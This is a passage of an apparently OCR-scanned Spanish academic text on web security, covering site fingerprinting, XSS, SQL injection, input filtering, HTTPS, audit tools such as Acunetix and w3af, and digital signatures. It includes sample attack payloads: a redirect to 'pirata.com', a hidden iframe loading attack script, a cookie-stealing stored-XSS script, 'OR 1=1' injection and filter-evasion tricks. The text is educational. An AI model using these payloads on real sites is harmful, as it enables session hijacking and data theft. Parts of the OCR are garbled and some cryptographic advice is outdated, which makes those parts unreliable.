tareas que abarcan por parte de la intrusién web y respecto a nuestra puesta en conocimiento [2].
Antes que nada, veamos una pequeria revision a los cédigos de respuesta HTTP respecto del tipo
de mensaje:

1. 1xx Mensajes.
2xx Operaciones exitosas.
3xx Redirecciones.
4xx Error por parte del cliente.
5xx Error del servidor.

agrwd

En primer lugar indicar, dentro del 'modus operandi' el destacar la importancia de lo que nos
puede suponer la realizacion del mapa del sitio web, en el que segun la bibliografia consultada,
se nos distingue de que maés vale la toma de huellas (fingerprint) como mas valido antes que la
realizacion de un propio mapa web, en el que podamos analizar sobre todo su comportamiento.
Se trata de encontrar la mayor cantidad de informacidn posible que el sitio web nos pueda reportar
dentro de un funcionamiento obviamente normal. A esto, nos planteamos las respuestas a
preguntas como las siguientes:

- ¢El sitio web es estatico o dindmico?, en este Gltimo caso, ¢en qué lenguaje se ha
desarrollado?. Como estatico hecho con HTML y como dindamico con .php, .asp o .jsp.
Por ejemplo también observaremos en este caso el empleo de de URL Rewriting
(reescritura de direccioén), en el que enmascaramos el paso de variables asi como el
lenguaje utilizado. Por ejemplo, si llamamos a la pagina php:

paginas.php?id=5&meni=2&articulo=7

re-escrita por:
paginas_5 2 7.html.
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- ¢Cudles son las variables usadas para transmitir las peticiones?.

- ¢Qué formularios y qué campos utilizan?.

- ¢Recibimos cookies?, ¢qué datos contienen?.

- ¢Las paginas tienen contenido multimedia?.

- ¢El sitio realiza consultas a bases de datos?.

- ¢Podemos acceder a carpetas, que por ejemplo, contengan imagenes?.

- ¢Utiliza el sitio Javascript o0 AJAX?.

- ¢Qué servidor se esta utilizando?, ¢ Cual es su version?.
Dentro de esta pregunta que ya se ha indicado en los apartados anteriores de etapas de
recogida de informacion, indicar aqui que una de las técnicas utilizadas es la de provocar
el retorno de una pégina de error, por ejemplo, invocando a una pagina que no exista en
el servidor.

También destacar el uso de otras tareas conjunto con el uso de herramientas como son el
descubrimiento de la cara oculta de un servidor web con el uso de herramientas como:

- Burp Suite.

- Zed Attach Proxy (ZAP).

- Wifuzz.

Una de las acciones que podremos realizar sera por ejemplo, la redireccion URL:
<script>document.location=http://pirata.com </script>
También acciones con la herramienta Hackbar de Firefox.

Técnicas de salto de establecimiento de salto de filtrado como a continuacion veremos como la
colocacion de "iframes" con tamafio de area cero que invocan a otro sitio donde pondremos el
codigo Javascript que podamos utilizar. Veamos un ejemplo:

<iframe width=0, height=0 src=pagina.net/js_ataque/></iframe>

En el Javascript podemos implementar acciones como:
- Intercepcidn de POST + Uso de Wfuzz + SQL Inject Me como por ejemplo:

SELECT * FROM USERS WHERE LOGIN ='$login’ and pass="' OR 1=1 #$password'
La continuacion de la consulta es un comentario debido a la declaracion del simbolo #.

La aplicacion de otras técnicas como modificacion de cabeceras a través de programas como:
- Modify heders.
- Live HTTP headers.

Otras como obtencion de cookies como herramientas como Cookies Manager y posteriormente
con métodos Javascript como:

¢ document.cookie: es posible recuperar el identificador de la sesion de usuario.

o document.referrer: variable para memorizar la cookie de la victima recogida de un foro
donde depositamos nuestro programa en js. Comprendiendo con esto como aplicacion de
técnica Stored XSS o proceso de hijacking. Notar que, tras igualar ambas variables, el
hacker ganara nuestra sesion, incluso podra cambiar la contrasefa.

<script>document.referrer=document.cookie </script>
Depositamos/devolvemos este script en el foro de nuevo y ya tenemos una cookie igual
al de la victima, de esta manera el sitio web no puede distinguirnos de la victima.

Considera que se trata de una Unica persona. Aungue no todos los privilegios, pero
tendremos los mismos permisos que la victima.
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Fig.20: Fases de proceso de hijacking de sesion por XSS Stored.

La misma técnica también ocurre con cambiar en el formulario la disposicion de una imagen por
un fichero malicioso con, por ejemplo, uno con script malicioso php.

Conceptos de seguridad en servicio web:
e Escéner de vulnerabilidad de caja negra: son aquellos que realizan un analisis en
busqueda de vulnerabilidades sin revisar el cddigo fuente de la aplicacidn, esto es, solo
comprobard la seguridad de los elementos disponibles para un usuario externo [3].

e Listas negras o filtrar lo peligroso: una lista negra es una lista de entidades especificas,
ya sean nombres de dominio, direcciones de correo electrénico o virus, que contiene
elementos que se consideran peligrosos o causantes de dafios, y a los que por ello se les
deniega la entrada a la infraestructura en la que intentan penetrar. Por ejemplo, un sitio
web puede encontrarse en una lista negra, porque se sabe que es fraudulento o porque
explota las vulnerabilidades del navegador para enviar software espia o cualquier otro
software no deseado al usuario. El concepto de lista negra puede también usarse para
prevenir el spam en el correo electronico.

El software de listas negras funciona bloqueando los riesgos conocidos. Algunas
compafiias antivirus incorporan estas listas negras que suministran a sus suscriptores.

Beneficios de la solucién de lista negra:

- Las actualizaciones de las listas de virus son autométicas y no requieren un
mantenimiento tedioso.

- Permite identificar el malware, y a veces, eliminarlo.

- Las actualizaciones pueden hacerse sobre la marcha, desde un servidor de servicios
de actualizacion.

- Ofrece seguridad y proteccion completas contra las amenazas actualmente conocidas.

- Es versatil: combate todos los tipos de amenazas de malware.

Inconvenientes de la solucion de lista negra:

- Sélo protege contra las amenazas conocidas, lo que a menudo significa que alguien
fue victima de la nueva amenaza para que esta pudiera identificarse por primera vez.

- El malware infecta a una media de 15 sistemas antes de mutar y cambiar su firma,
haciéndolo indetectable para las soluciones de lista negra.

- De media, las soluciones de antivirus sélo bloguean el 19% de las amenazas.

- Lasolucién requiere gque se identifiquen y se afiadan a la lista los virus o el software
espia, dejando las maqguinas y redes vulnerables frente a ataques de dia cero.
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Soluciones avanzadas de lista negra:

Las soluciones de lista negra han evolucionado més alla de la simple prohibicién de las
amenazas conocidas, incluyendo la heuristica. La heuristica es la préctica de aplicar el
conocimiento basado en la experiencia para resolver un problema. A veces se utiliza junto
con el software antivirus para describir la capacidad de investigar y filtrar los ficheros
que es probable que contengan un virus informatico u otro malware.

El software heuristico busca fuentes conocidas, textos cominmente utilizados, y patrones
de transmision o de contenidos que histéricamente han estado asociados con ficheros que
contenian virus. La heuristica es un término acufiado por los investigadores de antivirus
para describir un programa antivirus que detecta virus a base de analizar la estructura del
programa, su comportamiento, y otros atributos, en lugar de buscar simplemente las
firmas.

Beneficios de la solucion heuristica:

- No necesita actualizaciones del fichero de definicion.

- Es potencialmente capaz de interceptar ataques de dia cero.

- Proporciona otra capa de proteccidn porque no confia totalmente en los ficheros de
definicion. A veces puede descubrir una amenaza que no esté en la lista negra.

Inconvenientes de la solucién heuristica:

- Hace suposiciones acerca del problema que intenta resolver y puede producir
resultados no siempre 6ptimos.

- Puede que algunos ficheros legitimos coincidan con el patrén, produciendo muchos
“falsos positivos” y retrasando la entrega de ficheros o correos electrénicos validos.

- La tecnologia es relativamente nueva. Hara falta tiempo para desarrollarla y
mejorarla.

e Listasblancas o dejar pasar lo que no es peligroso: La tecnologia de lista blanca es opuesta
a la tecnologia de lista negra. La lista de entidades, ya sean nombres de dominio,
direcciones de correo electronico, o ficheros ejecutables, es una lista s6lo de aquello que
tiene permitida la entrada en el sistema. Por ejemplo, una lista blanca de nombre de
dominio es una lista de URLs que pueden visualizarse, sin tener en cuenta las reglas del
programa blogueador de spam de correo. El ejemplo méas familiar de solucién de lista
blanca es el correo electrénico en el que los usuarios pueden crear una lista de direcciones
de correo electronico autorizadas, para las que permiten la recepcién de mensajes, una
vez mas sin tener en cuenta las reglas del programa anti spam.

Beneficios de la solucién de lista blanca de aplicaciones:

- Proporciona proteccion contra el malware, y contra los ataques de dia cero y los
ataques selectivos, ya que no pueden ejecutarse los ficheros ejecutables no
autorizados.

- Mejora la productividad de los empleados y la eficiencia de procesamiento del
ordenador, porque no se instalaran ni ejecutaran programas no deseados, como
programas de chateo, P2P, software espia, o troyanos.

- Elimina el riesgo de costosas auditorias y multas por falta de cumplimiento de las
licencias, ya que no se instalara software ilegal o no licenciado.
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- Ahorra dinero a la organizacién, al reducirse los tiempos de parada de los sistemas,
ampliarse los ciclos de vida de los PC, y reducirse el volumen de incidencias, lo que
permite crear oportunidades para transferir los costes, haciendo mas con menos.

Inconvenientes de la solucién de lista blanca:

- Lacreacion de la lista blanca puede ser tediosa, a menos que se utilice una aplicacion
avanzada de lista blanca.

- La gestion de actualizaciones sin controles avanzados puede representar un reto, ya
que las actualizaciones pueden alterar ligeramente la identidad de la aplicacion
aprobada con respecto a la que ya esté aprobada en la lista blanca existente, haciendo
que el programa no se ejecute.

e Limpieza de parametros: Considerando que no es posible realizar una tipificacion
completa de la entrada para aplicar una lista blanca y que por tanto, la entrada sigue sin
ser confiable. A esto, es posible en completitud a lo anterior, realizar un tratamiento de
parametros y a fin de evitar que no sean peligrosos a pesar de no ser confiables.

En este caso se trata de evitar caracteres o literales considerados como peligrosos, como
por ejemplo las comillas simples para evitar casos de inyecciones por scripts (XSS). Lo
mismo es aplicable con literales que se utilizan en sentencias SQL como UNION o
SELECT. La eliminacion de estos literales también puede cambiarse por sustitucion.

Por ejemplo:
<scri<script>pt> quedaria como <script>

e Tratamiento de excepciones adecuado: siguiendo en esta seccion y en completitud a lo
anterior, se trata ahora de considerar respecto del tema de filtrado y respecto de
obviamente parametros de entrada hay que considerar que existen técnicas de ofuscacion
para evitar ser detectados por este tipo de soluciones. Hay que tener en cuenta que existen
distintas posibilidades para evitar reconocer entradas maliciosas, como puede ser el uso
de diferentes tipos de codificaciones que reconoce el servidor de aplicativos o la base de
datos, el caso de UTF8 o URL encoding, pero que pueden no tenerse en cuenta a la hora
de realizar el filtrado.

Por otra parte, se pueden utilizar las funciones de la propia base de datos para convertir
los caracteres a partir del codigo ASCII en literales que entiende e interpreta la base de
datos.

Existen varias formas de intentar engafiar a los filtros de entrada. A continuacién se
muestran varios ejemplos, cada uno de ellos explota una técnica distinta para evitar ser
filtrados:

- Evitar caracteres bloqueados: aunque el aplicativo bloquee ciertos caracteres, siempre
es posible intentar trabajar sin ellos. Por ejemplo, el filtrado de las comillas simples
no afecta al caso de campos numéricos. En caso de filtrado de puntos y comas para
la separacion de sentencias cuando se intenta realizar una inyeccion de varias de ellas
no es un problema, ya que la base de datos interpretard correctamente todas las
sentencias si son sintacticamente correctas, a pesar de no estar separadas por punto y
coma.
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- Enel caso de las codificaciones, algunos filtros no las tienen en cuenta, por lo que en
lugar de intentar la inyeccion con el literal SELECT, se puede realizar con la cadena
URL-encodeada %53%45%4c%45%43%54.

- Insercion de comentarios dentro de las sentencias inyectadas. Al hacerlo, un parser
incorrecto no detectara las palabras clave.

Select /*xx*/password/*xx*/from/*xx*/users;

En algunos casos, la base de datos permite insertar comentarios incluso dentro de las
propias palabras clave, de modo que ain hace mas dificil crear un parser adecuado.

Uso de funciones de la propia base de datos para ofuscar sentencias. Funciones

gue crean sentencias a partir de codificaciones, como codigo ASCII, dificultan aln
mas la tarea de parsear adecuadamente la entrada. Por ejemplo, se podria usar
chr(97) |lchr(100) || chr(109) || chr{105) || chr(110) en lugar
del literal “admin” en una sentencia, lo que interpretaria la base de datos
perfectamente.

- Uso de HttpOnly: este atributo indica al navegador que la cookie en cuestion sélo
puede ser utilizada por el protocolo HTTP. Esto evita que scripts situados en el lado
del cliente accedan a las cookies y, por lo tanto, que puedan ser robadas por ataques
basados en cross-site scripting.

Finalmente, tener en cuenta que todos estos filtros deben realizarse siempre en la parte del
servidor, y nunca en la del propio cliente, que es quien puede realizar el intento de intrusion.

3.4.- HTTPS: Hyper Text Transfer Protocol Secure

Se basa en su antecesor http pero afiadiendo cifrado a la comunicacion, en si mismo HTTP no es
mas que HTTP normal pero afiadiendo los protocolos SSL/TLS (Secure Sockets Layer y
Transmision Layer Security), siendo TLS méas moderno a SSL. Asi pues, HTTPS=HTTP +
SSL/TLS.

En concreto, respecto de SSL/TLS presenta el siguiente esquema de arquitectura de protocolos
respecto del modelo OSI:

Aplicacion Aplicacion Aplicacion
—  Sockets =— _

TCP LS —_ Fragmentacion

Compresién
P TCP
Autenticacion
IP
Cifrado
Capa de Transporte Capa de Transporte
Insegura Segura TCP

Fig.21: Capas de Protocolos SSL/TLS segun modelo OSI [4].
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Fig.23: Establecimiento de comunicacién por Certificado SSL.

HTTPS no s6lo impide que alguien vea las paginas web que visitamos sino que puedan conocer
las URLs por las que nos movemos. Los pardmetros que enviemos al servidor (por ejemplo,
usuario y contrasefia enviados normalmente como parametros POST) asi como las cookies que
enviamos o recibimos también quedan cifrados. Las URLs de HTTPS utilizan el puerto 443 por

defecto.

@ ..

] T Llave publica

Llave de sesién

Servidor Web h

Llave Privada

Fig.24: Esquema de conexion de comunicacion de https.
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1.- El usuario accede al servidor Web mediante https.

2.- El navegador crea una clave de sesion Unica y la codifica usando la clave pablica del servidor
web, obtenida a partir del certificado presentado por el servidor.

3.- El servidor web recibe la clave de sesion y la decodifica mediante su clave privada.

4.- A partir de ese momento se realiza un cifrado simétrico con la llave de sesion en poder de
ambos.

Destacar en este momento las diferencias principales entre SSL y TLS, principalmente la
diferencia estd en como encripta la informacion. TLS lo realiza en dos capas diferentes: el
protocolo de autenticacion (llamado TLS Record Protocol) y el mutuo acuerdo (llamado TLS
Handshake Protocol).

a) Record: se lleva a cabo la autenticacion para que la transmision de datos sea mediante
una conexion privada y fiable (se negocia la encriptacion y la integridad del emisor-
receptor).

b) Handshake: se negocia el mensaje de manera segura. En cada mensaje se especifica al
protocolo en un campo (llamado content_type) y se cifra y empaqueta con un codigo de
autentificacion (o MAC).

Por lo tanto, en el protocolo TLS, se lleva a cabo un canal seguro y cifrado entre el cliente y
servidor en donde se negocia la criptografia del mensaje, se autentifican las claves del cifrado y
se realiza una transmision segura.

Hay un problema adicional en la comunicacion por Internet. Pongamos que queremos navegar a
WWWw.upv.es. ;Como sé que me estoy comunicando con el servidor de la Universidad y no con un
servidor falso que se estd haciendo pasar por la U.P.V. (por ejemplo establecido como un ataque
man-in-the-middle)?

La solucion esta en autenticar los servidores. No sirve de nada tener los datos cifrados si no nos
aseguramos que nos conectamos con el servidor correcto. Para eso estan los certificados SSL, que
contienen la clave puablica y los nombres de dominio en los que se puede usar.

El certificado SSL por si s6lo no sirve para nada, cualquier atacante podria falsear uno y no nos
dariamos ni cuenta. Aqui entran en juego las Autoridades de Certificacion (CA, Certificate
Authority) como entidades emisoras de certificados SSL firmados, en el que s6lo dan certificados
sobre un dominio a su propietario. Ademas, las firmas aseguran que el contenido certificado no
ha variado. En resumen, una firma de CA nos asegura que el servidor es quien dice ser. Por su
puesto, hay que verificar la firma para asegurarse que es real. Para ello, el navegador busca el
certificado en su almacén y verifica la firma. En caso de no ser valida o no encuentra en
certificado, nos mostrara un aviso de que no puede autenticar la conexion al servidor. Casos
conocidos han sido el de algunos navegadores como Firefox, en el que en un intento de conexion
a servidores seguros de la administracion espafiola, los certificados de estos servidores estaban
firmados por la Fabrica Nacional de Moneda y Timbre (FNMT), pero por ejemplo, Firefox no
tenia en su almacén los certificados de la FNMT.

¢Qué debilidades tiene HTTPS?

Segun el blog de consultoria web Genbeta el punto mas débil son los certificados. Si por ejemplo,
alguien roba el certificado (con la clave privada), podria crear un servidor falso sin que hubiese
forma de distinguirlo de uno legitimo [5].

Un problema mas grave seria si se filtra la clave privada de una CA. Un atacante podria crear y
formar certificados validos para cualquier dominio sin que nadie se lo impidiese, y por lo tanto
engafiar a los usuarios para que se conecten a servidores falsos.
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Por suerte, los navegadores tienen un mecanismo para revocar certificados. Cuando se
compromete un certificado, se pune su huella digital del certificado en una lista. El navegador se
descarga esa lista y dejara de dar por valido cualquier certificado que aparezca ahi. El Gnico
problema estd en que los navegadores no siempre aprovechan bien esas listas, pero los
mecanismos estan ahi.

También habria que tener especial cuidado en el caso de que la pagina estuviera indexada a traves
de un SEO de Google y con esto estar expuesta a las arafias y robots web de Google y por lo tanto
expuesta a posibles intrusiones de ataque criptografico.

3.5.- Herramientas para la auditoria web
Acunetix

Acunetix es una aplicacion de tipo comercial enfocada en la seguridad web a nivel interno.
Ofrecen su producto como complemento a las auditorias internas de seguridad que se realicen
sobre el codigo. Realiza escaneos automatizados con posibilidad de ejecucion tanto en interfaz
grafica como en linea de comandos. Solo esta disponible para plataformas Windows.

Existe una version comercial y otra gratuita limitada a basqueda de fallos XSS. Ademas permite
escaneo completo sobre tres programaciones web como son PHP, ASP y ASP.Net. Ademas
también permite los siguientes analisis:

* Analizador Javascript, permitiendo auditar Ajax y aplicaciones con Web 2.0.
« Utilizar las mas avanzadas técnicas de SQL Injection y Cross Site Scripting.
« Utilizacidn de tecnologia ‘AcuSensor’.

* Analiza websites incluyendo contenido Flash, SOAP y AJAX.

* Realiza un escaneado de puertos contra el servidor web y busca vulnerabilidades en sus
Servicios.

* Proporciona extensos informes del estado de seguridad.

© Sean Type Select Targets

Please wait until the scanning is finished and then select the targets you want to scan from the kst below.

Select Targets % =
o For every target you can enter detais such as operating system, webserver, technology or change the base

5

.. ( path. By entering these detals you can reduce the scanning time:

B Scan{ List of targets

MW Logn

o B '\ testphp.acunetix.com:80 v
£ Base path /
Server bannet Apache/2.0.55 (Ubuntu) mod_python/3.1.4 Python/2.4.
Target URL hittp: /testphp. acunetix com: 80/
Operating system Unix
WebServer Apache 2x
Detected custom 404 emor page No
@ Optimize for following technologies PHP. Peil, mod ssl. mod_pedl. mo
Status : Done

acunetix

¢ Back | Mext > Cancel

Fig.25: Asistente Acunetix.
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Permite configurar opciones como por ejemplo:

* Envio de datos mediante los formularios existentes en la pagina web.

* Intentar extraer listado de directorios.

* Ignorar mayusculas en los nombres de los ficheros.

« Procesar los ficheros robots.txt y sitemap.xml.

* Manipular las cabeceras HTTP.

« Habilitar el escaneo de puertos.

« Establecer usuario y contrasefia para la autenticacion HTTP.

« Habilitar el anélisis del cddigo Javascript mediante la ejecucion del mismo.

Una de las caracteristicas mas interesantes de Acunetix es la posibilidad de ver un arbol de los
ficheros que existen en el servidor y que podremos recorrer como si un explorador de ficheros de
nuestro sistema operativo se tratase.

[} Acunetix Web Vulnerability Scanner (Enterprise Edition) __ =100 x|
{ Fle Tods Configraton Help
NmScm|- Bl Ee il a"..-'|r-_“1_'||"‘|t
Bl ) 5 e | o | Report | | start URL: ki hestoho, scunetix,com:d] o profie: [defaut  v| Edstet
Scan Reslls [[Status I ¥ A=
B {3 Site Structure a||  =aTargetinformation
B/ 0K (200) Targel htip://testphp.acunetix
@ admin Forbidden (403) Server Apache/2.0.55 (Ubuntu)
Y banner Python/2.4.3 PHP/5.1.2 :
& AIAX K Gl OpenSSL/0.9.8a mod_perl
e s Forbidden (403)
] orbicgen (403) Operating  Unix
&} (g Flash Forbidden (303) system
- g mages Forbidden (403) Web server Apache 2.x
8 sthentieation Testes @ D seared oK (200) TechnologiesFHP, Perl,mod_ssl,mod_pe
2 Compare Results #- (g artsts.php OK (200) # Web Scan Progress
-6 Web Services [ eartphp 0K (200) Starttime 23/3/2009,
& Web Services Scanner (& categories.php OK (200) 12:05:50
& Web Services Editor @ disdamer pho OK (200) Finish time 23/3/2009,
B £ Cenfiguration (& favicon.ico OK (200) ceantme i‘:?:!:s:ué
B Settings @l ook ¢
) Scanning Profies ¥ =é oueslock phy oK e minutes,
B-E Ganeral (& index.bak OK (200) 16 seconds
b " | . an iteration
@ Program Updates index.php 0K (200) Scan iterati
[25) version Hor o] L'é historaducts. php 0K (200) Scanning mode Quick
= Informal Lé logrigta oK (200) Scanning stage Finished
dj’Lcermq s e SR e Current module Finished
4} Support Center i Drivacy. srgbdord Testing on Finished
@] Purchase % [ product.php OK (200) Current tesl(s) Finished
#] Usar Manual (hemi) ® [@ search.php OK (200) Running tasks N/A
‘,ﬂ] ua: Manual (pdf) @ [ showmage.pho o (200) Total number of requests 3233
w— o fwerage response time 336, 36
(& soo.pho O (200) it =
O stre.css OK (200) K »
Pr‘o:‘:v ucu:m‘s CONNECT requests “Server” LI
[Open proxy server "Server”™
Finished scanning.
[Saving scan results to database
IDone saving to database. :'
=
~ dpplicaion Log [ Error Log
|Fready [ 4

Fig.26: Arbol de ficheros del sitio.

Como inconveniente seria destacar que a pesar de ser muy completo y exhaustivo resulta muy
intrusivo. Un atacante real nunca lanzaria una herramienta como esta para localizar las
vulnerabilidades de nuestro sitio web, por lo que a priori, no seria utilizable como caso real para
nuestras contramedidas respecto de un ataque real.
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W 3af es una herramienta de auditoria web OpenSource disponible tanto en Windows como Linux.
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wikal -I!lxl
Profiles £0t Voo Tools Configuration Help

:l 2 ini ‘_ E @J £ I" ‘; -
Wizards [ Sav Stop Pause | Mutple biplor | Msnusl Request Fuzzy Request Encode/Decode
[ vulnerabiles [ Information [£) Error | Search

(04/01/09 03:29:25] Auto-endbling plugin: grep.errorFages

[04/01/05 03:29:50] Your ISP has no transparent proy.

[04/01/09 03:29:50] The server header for the remacte web server is: "HAL 9000%. This information was found in the request with id 85,
[04/01/09 03:29:50] The remote web server doesn't séem to have & réverse proxy.

[04/01/09 ©3:29:51] The FHR framework running oa the remcte server has o "PHP Credits” easter egg, access 1o the PHP ¢gg Is possible
through the URL: "hitp:/, .

[04/01/09 03:29:52] The PHP framework running on the remote server has & "PHF Logo”™ easter egg, access to the PP egg is posable

throwgh the URL: "hitp://

Discovery progress: -2 X1 Hl:a“-;& 19s
Runeung drsccsecy oho09s or RN | Vthod: CET.

Vudns
Info -
Debug T— T T T T T T T T T (s]
0.00 30.52 61.04 91.56 12208 15304 18356 21408 2480 2752
02 Ao %o

Fig.27: W3af mostrando el visor de logs.

Entre las vulnerabilidades que detectan y explotan los plugins disponibles se encuentran:

* CSRF

« XPath Injection

* WebDAV

« Buffer overflows

« Extensiones de FrontPage
* SQL Injection

* XSS

* LDAP Injection
* Remote File Inclusion
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4.- SEGURIDAD EN SISTEMAS IoT Il. Seguridad activa.

4.1.- Firmas digitales

En primer lugar vamos a realizar una revision al esquema de comunicacion de informacion
mediante cifrado con claves.

Clave privada Clave publica
(De Juan) (De Juan)
Mensaje
cifrado |
Mensaje en Algoritmo ,| [ — J[ Algoritmo de | Mensaje en
claro de cifrado Segrl7&@ Segr17&@ | descifrado | claro
Clave publica Clave privada
(De Ana) (De Ana)

Fig.28: Esquema de comunicacion con cifrado por claves.

Importante distinguir entre llave simétrica vs. llave asimétrica. Mientras 128 bits es suficiente
para cifrados simétricos, dada la tecnologia de factorizacion de hoy en dia, se recomienda el uso
de llaves publicas de 1024 bits para la mayoria de casos.

Tamafio Tamafio

llave llave

simétrica asimétrica

64 bits 512 bits

112 bits 1792 bits

128 bits 2304 bits

contraseina mezclados en minuscula

3 0,86 s. 0,002 s.
4 1,36 s. 0,046 s.
5 2,15 horas 11,9s.
6 8,51 horas 5.15 minutos
7 2,21 afos 2,23 horas
8 2,10 siglos 2,42 dias
9 20 milenios 2,07 meses
10 1.899 milenios 4.48 afos
1 180.365 milenios 1,16 siglos
12 17.184.705 m. 3,03 milenios
13 1.627.797.068 m. 78,7 milenios
14 154.640.721.434 m. 2.048 milenios

Fig.29: Tiempo estimado en descifrar una contrasefia por fuerza bruta [6].
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En el caso mas principal que nos ocupa, la comunicacién por clave asimétrica, destacar el
algoritmo RSA, el méas conocido para manejar esquemas asimetricos.

En cuanto a la longitud de las claves, la clave publica es mayor que en el caso privado o simétrico
para proporcionar el mismo nivel de seguridad: una clave asimétrica de 1024 bits proporciona la
misma seguridad que una simétrica de 128 bits. Esto hace que el esquema asimétrico sea 1000
veces mas lento que su homdlogo simétrico.

Seguidamente, realizar un breve resumen respecto de la principal motivacion por que se realiza
esta implementacion. Destacar su principal base en la llamada Fortaleza de la solucion y respecto
a solventar los principales problemas de los que acaece la comunicacion informatica:
e Problemas:
- Los secretos se exponen, la informacion sensible viaja.
- Secretos poco complejos pueden "adivinarse™ (fuerza bruta, diccionarios).
- Factor humano (ingenieria social, uso incorrecto de passwords).
e General del uso de Firma y certificado digital:
- El secreto nunca se expone, se protege en el dispositivo.
- El secreto posee gran complejidad (computacionalmente inquebrantable).
- Combinacién de "algo que sé y algo que tengo".
- Posibilidad de revocacion en linea.

De distintas versiones de diverso referente técnico, de forma general nos podemos quedar con que
una firma digital es la version electronica de una firma manuscrita. Informacién que se adosa a
un mensaje cuya funcion es garantizar que:

- Un emisor no pueda suplantar a otro emisor.

- El cuerpo del mensaje no ha sido modificado.

Se intenta que proporcione la misma forma de autentificacion y responsabilidades que una firma
escrita, pero goza de dos ventajas importantes frente a ésta:

- Es mas dificil de falsificar y més fécil de detectar falsificaciones.

- Garantiza que no se puede modificar el texto del documento que ha sido firmado.

La elaboracion de una firma electrénica requiere que el firmante posea un par de claves asociadas
[3]:
- Unaclave publica (pablica) para verificar la firma. Conocida por todos los usuarios de la
red. Atendida por algoritmos como RSA, Diffie-Hellman, EIGamal, de curva eliptica.
- Una clave privada (secreta) para elaborar la firma. Conocida Gnicamente por un usuario.

Destacar aqui que en los procesos de cifrado asimétrico se destaca:
- Clave diferente para cifrar y descifrar.
- Es necesario poseer la llave pablica del destinatario para cifrar la informacion que se le
enviara.
- Solo el destinatario posee la llave privada complementaria para descifrar el documento.

La firma electrénica se calcula para cada documento, por tanto, cada firma electrdnica es Unica.

Recordar en este punto lo que los tres puntos de establecimiento de seguridad establecen:
e Confidencialidad (cifrado).
e Integridad (hash).
e Autenticacion (firma).

¢ Cual es el objetivo de la firma electrénica?

Firma electrénica se refiere al «conjunto de datos en forma electrénica, consignados junto a otros
0 asociados con ellos, que pueden ser utilizados como medio de identificacion del firmante», tal
y como se recoge en la Ley 59/2003 [10].
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Fomentar el desarrollo de una sociedad digital en la que la confianza en los procedimientos es
indispensable. Muy utilizado en la Administracion Publica respecto de agilizar y dar seguridad
a las gestiones y tramites de la ciudadania y las empresas con la Administracion.

Una definicion vista desde la gestion informatica la firma digital es un método criptografico que
asocia la identidad de una persona o de un equipo informatico al mensaje o documento. En funcion del tipo
de firma, puede, ademas, asegurar la integridad del documento o mensaje. Como objeto principal, destacar
su equivaler a una firma manuscrita.

CONFIDENCIALIDAD INTEGRIDAD AUTENTICACION NO REPUDIO
\\\'\_ ™~ S | T g
\ o
\‘\\ o S - -
N . ™~ ~ -
CIFRADO FIRMA DIGITAL
S -~
. v
e y 3

| CRIPTOGRAFIA DE CLAVE PUBLICA |

‘ CERTIFICADOS DIGITALES ‘

l

l INFRAESTRUCTURA DE CLAVES PUBLICAS (PKI) ‘

Fig.30: Organigrama de composicion de Infraestructura PKI.

4.1.1.- Descripcion de Firma digital

Ampliamente utilizado por practicamente todo el mundo empresarial tanto publico como privado,
a continuacion vemos el esquema funcional de la Firma digital [7]. Veamos en primer lugar la
parte ldgica de la firma:

Firma Digital.

Hash [ > Integridad

Se realiza en hash del texto con el emisor y el
receptor. 5i el texto sufre modificacion, el
resultado debe ser el mismo.

Cifra con la clave publica I:> Autenticaciény no repudio

Se cifra el hash con la clave privada del emisor.
Solo el emisor posee esa clave, por lo tanto no
puede negar la firma. Cualguier tercera
persona puede comprobar la firma porque la
clave publica esta al alcance de todo el mundo.

Fig.31: Diagrama l6gico de la Firma digital.

Una funcién hash o funcién resumen hace corresponder a un mensaje m de tamafio variable una
representacion H(m) de tamarfio fijo. Es decir, transforman mensajes de longitud arbitraria en
mensajes de longitud fija.
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Los algoritmos mas utilizados son SHA-1, SHA-256, RIPEMD-160. Ya no validos: MD4, MD4,

SHA.
Para el calculo de la firma:
e Hash:
0 MD2, MD5y MDS5. (rotos: colisién de hash)
0 SHA-1 (roto: colision de hash)
0 SHA-224. SHA-256, SHA-384, SHA-512.
e Cifrado:

0 RSA, DSA, Curvas elipticas.

e Algoritmos de clave publica:
0 RSA, DSA, KEA, Curvas elipticas.

Propiedades:

« Soportan entradas de tamario variable.

« Longitud fija del resumen generado.

« Funcion de un Unico sentido; es decir, a partir del resumen generado no se puede
deducir la entrada original.

* Funcidn con distribucién uniforme de las colisiones (una colision se produce cuando
dos entradas diferentes generan el mismo resumen).

Firmar:

Para firmar un mensaje m, el usuario A aplica la funcion hash H al mensaje m y obtiene
H(m).

Firma H(m) con su clave privada SK y obtiene la firma s(m) donde s(m) = SK(H(m)).
Se afiade s(m) am, y se forma la firma.

Se afiade la clave publica PK del usuario A, para que el destinatario pueda comprobar la firma.
Se envia al destinatario el paquete formado por (m, s(m), PK).

= -{ 101011101... .E ]
Funcién Cifrado del 8 :

Firma
hash Resumen (hash) resumen con la digital
Datos del documento clave privada gita
original del emisor
Clave
publica

Documento firmado que
se envia al destinatario

Fig.32: Proceso de generacion de firma digital en un documento.
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Verificar:
El usuario B recibe el mensaje de Ay calcula H(m), de modo que obtiene el resumen 1.
Descifra s(m) con la clave publica de Ay obtiene el resumen 2.

Se comparan los resumenes 1y 2; si son iguales, entonces el documento es el original firmado.
Puesto que las acciones de PK y SK son inversas, el verificador podra comprobar que el resultado
es exactamente el mensaje firmado.

—
— —
=[ r =[] »  101011101.. |
— / -_— Funcién hash . . -
/ Resumen (hash) del S ¢lguales?
ya Datos documento original . Silos dos cédigos
Firma \\ e coinciden, la
digital \.\ 7 firma es vélida
J  Signatura ~
4 Viena »  101011101..
Clave digital Descifrar la
publica firma con la Resumen recibido (hash)
clave publica
Documento del emisor
firmado
Fig.33: Proceso de verificacion de documento firmado digitalmente.
Encriptacion
con clave
mmmm | Calculo hash privada
=0( = = o | =) csonen
. Hash G ;,-' FIRMA =_|:| L ED - | 1011110111001 |
) / = —
\ / DOCUMENTo  Desencriptacion ?
A !.r"’ con clave plblica
= |/ SN - SN s 1
ED / FIRMA ’ Hash
FIRMA / .
DIGITAL _ VERIFICACION

Fig.34: Esquema de proceso de Firma digital: generacién y verificacion.

4.2.- Certificado Digital

Un certificado digital (X.509, v3) es un fichero que contiene (entre otros datos) la clave pablica
(y privada) de una persona y esté avalado (firmado electronicamente) por una entidad de confianza
0 Autoridad de Certificacion (AC). Trata de garantizar la identidad de las partes [11].

Otra definicion: un certificado digital es un documento mediante el cual un tercero de confianza
(una autoridad de certificacion) acredita electronicamente la autenticidad de la identidad de una
persona fisica, persona juridica u otro tipo de identidad como puede ser, por ejemplo, una URL
de un sitio Web.
